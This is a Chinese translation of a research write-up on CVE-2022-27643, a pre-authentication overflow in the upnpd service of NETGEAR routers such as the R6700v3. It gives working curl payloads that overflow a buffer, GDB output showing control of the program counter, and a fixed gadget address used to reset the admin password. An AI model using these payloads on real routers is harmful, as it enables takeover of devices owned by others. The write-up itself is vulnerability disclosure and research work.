深入分析CVE-2022-27643漏洞
最近,安全研究人员在多款NETGEAR产品中提供并默认启用的通用即插即用守护程序(upnpd)中发现了远程预身份验证缓冲区溢出漏洞。在2021年11月举行的Austin pwn2own比赛期间,参赛人员利用该漏洞一举拿下路由器局域网(LAN)端的NETGEARR6700v3设备。
以下22个型号的NETGEAR设备都受到该漏洞的影响:D6220、D6400、D7000v2、EX3700、EX3800、EX6120、EX6130、R7100LG、R6400、R6400v2、R6700v3、R6900P、R7000、R7000P、R7850、R8000、R8500、RS400、WNDR3400v3、WNR3500Lv2、XR300、DC112A。更多细节可以在NETGEAR的安全报告中找到,地址为https://kb.netgear.com/000064720/Security-Advisory-for-Pre-Authentication-Buffer-Overflow-on-Multiple-Products-PSV-2021-0323。
在本文中,将为读者详细介绍我们是如何在pwn2own期间利用该漏洞成功拿下R6700v3设备的。
简介
再继续阅读下文之前,建议读者先从Netgear网站下载固件映像R6700v3-V1.0.4.120_10.0.91.zip。该固件映像内有一个Squashfs文件系统,我们可以用binwalk将其提取出来,具体命令如下所示:
unzip R6700v3-V1.0.4.120_10.0.91.zip
binwalk -e R6700v3-V1.0.4.120_10.0.91.chk
这时,将创建一个文件夹“squashfs-root”,其中包含本报告中所涉及的各个文件。
为了帮助调试该漏洞,我们将静态链接的GDB服务器复制到U盘上面,然后将其插入到R6700v3设备上。之后,我们可以使用telnetenable.py脚本,建立到目标设备的telnet会话,并将GDB服务器附加到目标upnpd进程:
#/tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1 --attach 192.168.1.1:4444PID_OF_UPNPD
然后,我们就可以从开发机器连接到这个远程GDB服务器了,具体命令如下所示:
$ gdb-multiarch./squashfs-root/usr/sbin/upnpd
(gdb) target remote 192.168.1.1:4444
漏洞分析
在这里,二进制文件/usr/sbin/upnpd将在TCP端口5000上侦听HTTP请求,在TCP端口5555上侦听HTTPS请求。对/soap/server_sa端点的POST请求将由位于虚拟地址(VA)0x0003C784处的函数进行处理。如果这个POST请求包含其值为“urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate”的SOAPAction头部,则POST请求的内容(预期为xm l格式)将通过一种不安全的方式进行解析,具体代码如下所示:
request_soapaction = stristr(buffer,"SOAPAction:");
// ...
v71 = stristr(request_soapaction + 11,"NewMACAddress");
if (v71 != 0) {
v72 = stristr(request_soapaction + 11, "NewMACAddressxsi:type=\"xsd:string\">");
if (v72 == 0) {
begin = v71 + 14;
}
else {
begin = v71 + 36;
}
strncpy(&GLOBAL_NewMACAddress, "", 19);
end = stristr(request_soapaction + 11,"</NewMACAddress>");
if (end != 0) {
strncpy(&GLOBAL_NewMACAddress, "", 19);
strncpy(&GLOBAL_NewMACAddress, begin, end - begin);
GLOBAL_NewMACAddress[end - begin] = 0;
log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress);
}
从上面以黄色突出显示的代码可以看出,如果找到NewMACAddress xm l标记,将执行对strncpy的调用,从而将NewMACAddress值的内容复制到静态缓冲区。但是,调用strncpy的逻辑是错误的,因为提供给strncpy的长度值是攻击者提供的源字符串的长度,而不是目标静态缓冲区的长度(只有20字节)。因此,如果攻击者提供大于20字节的NewMACAddress值,则可以溢出静态缓冲区,并将攻击者控制的数据写入相邻的内存中。检查下面以黄色突出显示的变量GLOBAL_NewMACAddress的位置,我们可以看到这个变量保存在二进制文件upnpd的.bss段中。因此,我们可以覆盖.bss段中的相邻变量,以及与.bss段相邻的内存,如果它被映射到可写的地址空间中的话。
.bss:0x000DB00C GLOBAL_NewMACAddress:
.bss:0x000DB00C db 20 dup(??)
.bss:0x000DB020 data_0xDB020:
.bss:0x000DB020 db 4 dup(??)
.bss:0x000DB024 GLOBAL_new_http_passwd:
.bss:0x000DB024 db 132 dup(??)
.bss:0x000DB0A8 data_0xDB0A8:
.bss:0x000DB0A8 db 20 dup(??)
.bss:0x000DB0BC data_0xDB0BC:
.bss:0x000DB0BC db 20 dup(??)
.bss:0x000DB0D0 data_0xDB0D0:
.bss:0x000DB0D0 db 2048 dup(??)
.bss:0x000DB8D0 data_0xDB8D0:
.bss:0x000DB8D0 db 4 dup(??)
.bss:0x000DB8D4 data_0xDB8D4:
.bss:0x000DB8D4 db 4 dup(??)
.bss:0x000DB8D8 data_0xDB8D8:
.bss:0x000DB8D8 db 20 dup(??)
在这里,值得注意的是相邻的变量GLOBAL_new_http_passwd,上面已经用粉色标出。我们将在利用这个漏洞的过程中用到它。
漏洞的利用过程
R6700v3设备在ARM上运行2.6.36.4版本的Linux内核。并且,系统内核被配置为randomize_va_space = 1,也就是说,将随机化进程堆栈和共享库的地址空间,但不随机化主二进制程序或进程堆。而二进制文件upnpd并没有构建为位置无关的可执行代码(PIE)。这导致.bss段在内存中的地址是固定的,而与.bss段直接相邻的是进程堆:它用于为调用malloc提供分配空间。
这个漏洞的利用过程如下所示:
1.利用溢出定位堆内存中的函数指针,并用攻击者控制的值覆盖该函数指针。
2.然后,再次利用溢出漏洞来覆盖.bss段中的一个变量,该变量保存将设置为nvram http_passwd项的密码值。
3.强制upnpd服务调用溢出的函数指针,并将执行流重定向到将设置nvram http_passwd的指令序列。
4.如果将http_passwd设置为攻击者控制的值,我们就可以登录管理门户并完全控制设备。
控制程序计数器
由于进程堆与内存中的upnpd映像直接相邻,并且堆的地址没有被随机化,所以,我们可以对堆的布局做一些假设。我们可以借助于malloc早期分配的内存空间,因为它们在进程地址空间中具有相同的地址。这些内存的分配过程发生在upnpd接受外部网络流量之前,因此将始终以相同的顺序进行。我们感兴趣的是upnp二进制代码是如何初始化OpenSSL库(Version1.0.2h)的。实际上,二进制代码upnpd中的main()函数将调用VA0x00025034处的一个函数来初始化SSL,这将执行对SSL_load_error_strings()函数的调用。这个调用将执行许多堆分配操作,以生成字符串的哈希映射,稍后将用于生成人类可读的错误消息串。在这里,一个核心数据结构是_LHASH结构体,其中包含一个函数指针“hash”,如下面用红色突出显示的那样:
typedef struct lhash_st {
LHASH_NODE** b;
LHASH_COMP_FN_TYPE comp;
LHASH_HASH_FN_TYPE hash;
unsigned int num_nodes;
unsigned int num_alloc_nodes;
unsigned int p;
unsigned int pmax;
unsigned long up_load; /* load times 256 */
unsigned long down_load; /* load times 256 */
unsigned long num_items;
unsigned long num_expands;
unsigned long num_expand_reallocs;
unsigned long num_contracts;
unsigned long num_contract_reallocs;
unsigned long num_hash_calls;
unsigned long num_comp_calls;
unsigned long num_insert;
unsigned long num_replace;
unsigned long num_delete;
unsigned long num_no_delete;
unsigned long num_retrieve;
unsigned long num_retrieve_miss;
unsigned long num_hash_comps;
int error;
} _LHASH;
经过一番调试,我们发现_LHASH结构体总是被分配在堆中,从upnpd二进制文件的.bss部分的GLOBAL_NewMACAddress变量开始算起的话,其固定偏移量始终为7500。因此,我们可以利用溢出来可靠地覆盖这个哈希函数指针。下一个挑战是如何触发对被覆盖的函数指针的调用:如果我们查看OpenSSL源代码,我们可以看到,ERR_print_errors_fp将调用ERR_print_errors_cb,ERR_print_errors_cb将调用ERR_error_string_n,ERR_error_string_n将调用ERR_lib_error_string,ERR_lib_error_string将调用int_err_get_item,int_err_get_item将调用lh_ERR_STRING_DATA_retrieve,而lh_ERR_STRING_DATA_retrieve是lh_retrieve的宏,它将调用getrn,而getrn将从堆上的_LHASH结构体中调用该哈希函数指针。
// .\openssl-1.0.2h\crypto\err\err_prn.c
void ERR_print_errors_fp(FILE* fp)
{
ERR_print_errors_cb(print_fp, fp);
}
void ERR_print_errors_cb(int (*cb) (constchar* str, size_t len, void* u), void* u)
{
unsigned long l;
char buf[256];
char buf2[4096];
const char* file, * data;
int line, flags;
unsigned long es;
CRYPTO_THREADID cur;
CRYPTO_THREADID_current(&cur);
es = CRYPTO_THREADID_hash(&cur);
while ((l = ERR_get_error_line_data(&file, &line, &data,&flags)) != 0) {
ERR_error_string_n(l, buf, sizeof buf);
BIO_snprintf(buf2, sizeof(buf2), "%lu:%s:%s:%d:%s\n", es, buf,
file, line, (flags & ERR_TXT_STRING) ? data : "");
if (cb(buf2, strlen(buf2), u) <= 0)
break; /* abort outputting the error report */
}
}
//\openssl - 1.0.2h\crypto\err\err.c
void ERR_error_string_n(unsigned long e,char* buf, size_t len)
{
char lsbuf[64], fsbuf[64], rsbuf[64];
const char* ls, * fs, * rs;
unsigned long l, f, r;
l= ERR_GET_LIB(e);
f= ERR_GET_FUNC(e);
r= ERR_GET_REASON(e);
ls = ERR_lib_error_string(e);
// ...
}
const char* ERR_lib_error_string(unsignedlong e)
{
ERR_STRING_DATA d, * p;
unsigned long l;
err_fns_check();
l= ERR_GET_LIB(e);
d.error = ERR_PACK(l, 0, 0);
p= ERRFN(err_get_item) (&d);// int_err_get_item
return ((p == NULL) ? NULL : p->string);
}
static ERR_STRING_DATA * int_err_get_item(constERR_STRING_DATA * d)
{
ERR_STRING_DATA* p;
LHASH_OF(ERR_STRING_DATA)* hash;
err_fns_check();
hash = ERRFN(err_get) (0);
if (!hash)
return NULL;
CRYPTO_r_lock(CRYPTO_LOCK_ERR);
p= lh_ERR_STRING_DATA_retrieve(hash, d);
CRYPTO_r_unlock(CRYPTO_LOCK_ERR);
return p;
}
#definelh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst)
#define LHM_lh_retrieve(type, lh, inst) \
((type *)lh_retrieve(CHECKED_LHASH_OF(type,lh), \
CHECKED_PTR_OF(type, inst)))
//.\openssl-1.0.2h\crypto\lhash\lhash.c:241
void* lh_retrieve(_LHASH * lh, const void*data)
{
unsigned long hash;
LHASH_NODE** rn;
void* ret;
lh->error = 0;
rn = getrn(lh, data, &hash);
if (*rn == NULL) {
lh->num_retrieve_miss++;
return (NULL);
}
else {
ret = (*rn)->data;
lh->num_retrieve++;
}
return (ret);
}
// .\openssl-1.0.2h\crypto\lhash\lhash.c:390
static LHASH_NODE** getrn(_LHASH* lh, constvoid* data, unsigned long* rhash)
{
LHASH_NODE** ret, * n1;
unsigned long hash, nn;
LHASH_COMP_FN_TYPE cf;
hash = (*(lh->hash))(data);
通过触发被覆盖的哈希函数指针的路径,我们可以从upnpd二进制代码中看到,当与端口5555的HTTPS连接在SSL_Accept期间无法从客户端建立TLS/SSL握手时,upnpd!upnp_main就会调用ERR_print_errors_fp。
// upnpd!func_0x1B630+0x400
log(2, "%s(%d): port=%d\r\n","upnp_main", 1083, 5555);
client_socket = accept(data_0x66B24 + 0x8,&local_0x50, &local_0x30);
if (client_socket < 0) {
log(2, "\r\n%s(%d)Port %d socket accesp failed!!\r\n","upnp_main", 1087, 5555);
// ...
}
else {
ssl = SSL_new(data_0x9090C);
data_0x90910 = ssl;
SSL_set_fd(ssl, client_socket);
log(2, "%s(%d)before ssl accept, acceptfd is %d \n","upnp_main", 1093,
client_socket);
res = SSL_accept(data_0x90910);
SSL_get_error(data_0x90910, res);
if (res == 0 || res < 0) {
ERR_print_errors_fp(__bss_start__);
因此,我们可以在实现溢出后执行一个无效的HTTPS连接到TCP端口5555,以获得对进程程序计数器(PC)寄存器的控制。为了证明这一点,我们可以执行以下两条curl命令,第一条是实现溢出,第二条是触发对被覆盖的函数指针的调用并获得PC控制权。
curl http://192.168.1.1:5000/soap/server_sa-X POST -H "SOAPAction:\"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\""--data "<NewMACAddress>$(printf 'A%.0s'{1..7500})BBBBCCCCDDDD</NewMACAddress>"
curl http://192.168.1.1:5555/
如果我们连接了GDB,我们可以看到以下输出,其中溢出的四个字符D用黄色突出显示:
Program received signal SIGSEGV,Segmentation fault.
0x44444444 in ?? ()
(gdb) i r
r0 0xbed5ca78 3201682040
r1 0xbed5ca78 3201682040
r2 0x0 0
r3 0x44444444 1145324612
r4 0x40312e58 1076964952
r5 0xdcd58 904536
r6 0x6b0c 27404
r7 0xbed5ca78 3201682040
r8 0xbed5ca78 3201682040
r9 0x100 256
r10 0xbed5dcb8 3201686712
r11 0x402811a0 1076367776
r12 0x0 0
sp 0xbed5ca40 0xbed5ca40
lr 0x4027c74c 1076348748
pc 0x44444444 0x44444444
cpsr 0x60000010 1610612752
(gdb) x/8x $r5
0xdcd58: 0x42424242 0x43434343 0x444444440x00000500
0xdcd68: 0x00000800 0x00000137 0x000004000x00000200
(gdb) bt
#0 0x44444444 in ?? ()
#1 0x4027c74c in ?? ()
Backtrace stopped: previous fr ame identicalto this fr ame (corrupt stack?)
(gdb) x/8i 0x4027c74c-0x20
0x4027c72c:mov r2, #0
0x4027c730:push {r3, r4, r5, r6, r7, r8, r10, lr}
0x4027c734:mov r5, r0
0x4027c738:ldr r3, [r0, #8]
0x4027c73c:mov r8, r1
0x4027c740:str r2, [r0, #92] ; 0x5c
0x4027c744:mov r0, r1
0x4027c748:blx r3
如果我们通过“BLX R3”指令调查将控制转移到攻击者控制值的回溯跟踪中的地址,我们可以验证它来自/lib/libcrypto.so.1.0.0!lh_retrieve(编译器必须选择内联getrn)。
目标函数Gadget
现在,我们已经能够控制执行流程了,我们必须选择如何利用它。由于我们溢出的GLOBAL_NewMACAddress变量与用于修改http管理员密码的变量(我们将称之为GLOBAL_new_http_passwd)相邻,因此,我们将进一步研究这个变量。在下面的用黄色标出的代码中可以看到,upnpd!func_0x289C8+0x10将使用GLOBAL_new_http_passwd变量,通过acosnvramconfig_set函数来设置路由器nvram配置中的http_passwd。
// upnpd!func_0x289C8+0x10
if (p1 < 7) {
if (p1 == 1) {
acosNvramConfig_get("http_passwd");
log(3, "old (%s), http (%s)\n", &data_0xDA318, __s2);
v1 = strcmp(&data_0xDA318, __s2);
if (v1 != 0) {
log(3, "%s:%d\n", "sa_updateAdminPassword", 8832);
return 20001;
}
log(3, "%s:%d\n", "sa_updateAdminPassword", 8829);
acosNvramConfig_set("http_passwd",&GLOBAL_new_http_passwd);
return 0;
}
我们可以考察从VA0x00028A74处开始的函数调用的反汇编代码。在执行对acosNvramConfig_set的调用之前,通过寄存器r0和r1设置了两个参数。
.text:0x00028A74 4C019FE5 ldr r0, [data_0x28BC8] ;"http_passwd"
.text:0x00028A78 5C119FE5 ldr r1, [data_0x28BDC] ;GLOBAL_new_http_passwd
.text:0x00028A7C CB8AFFEB bl acosNvramConfig_set
如果通过这个溢出漏洞,以值0x00028A74覆盖目标_LHASH::hash函数的指针(由于upnpd程序不是用PIE构建的,因此,这个地址是固定的),然后,再次使用溢出漏洞,用攻击者选择的密码值覆盖GLOBAL_new_http_passwd的值,通过执行一个无效的HTTP连接到TCP5555端口来更改密码。此外,攻击者还可以通过upnpd!func_0x3C784处易受攻击的函数,在溢出期间用含有null字节的值来覆盖GLOBAL_NewMACAddress变量,这允许攻击者写入包含null字节的值。(我们可以注意到,攻击者要写入的0x00028A74地址包含一个null字节,在小端模式的设备上,这实际上就会变成写入一个null终止符)。
通过将http_passwd设置为攻击者控制的值,攻击者就可以登录到路由器的Web界面。此时,攻击者就完全控制了该设备,如果需要,他们还可以利用telnetenable.py获得root shell。
原文地址:https://blog.relyze.com/2022/03/cve-2022-27643-netgear-r6700v3-upnpd.html
最新评论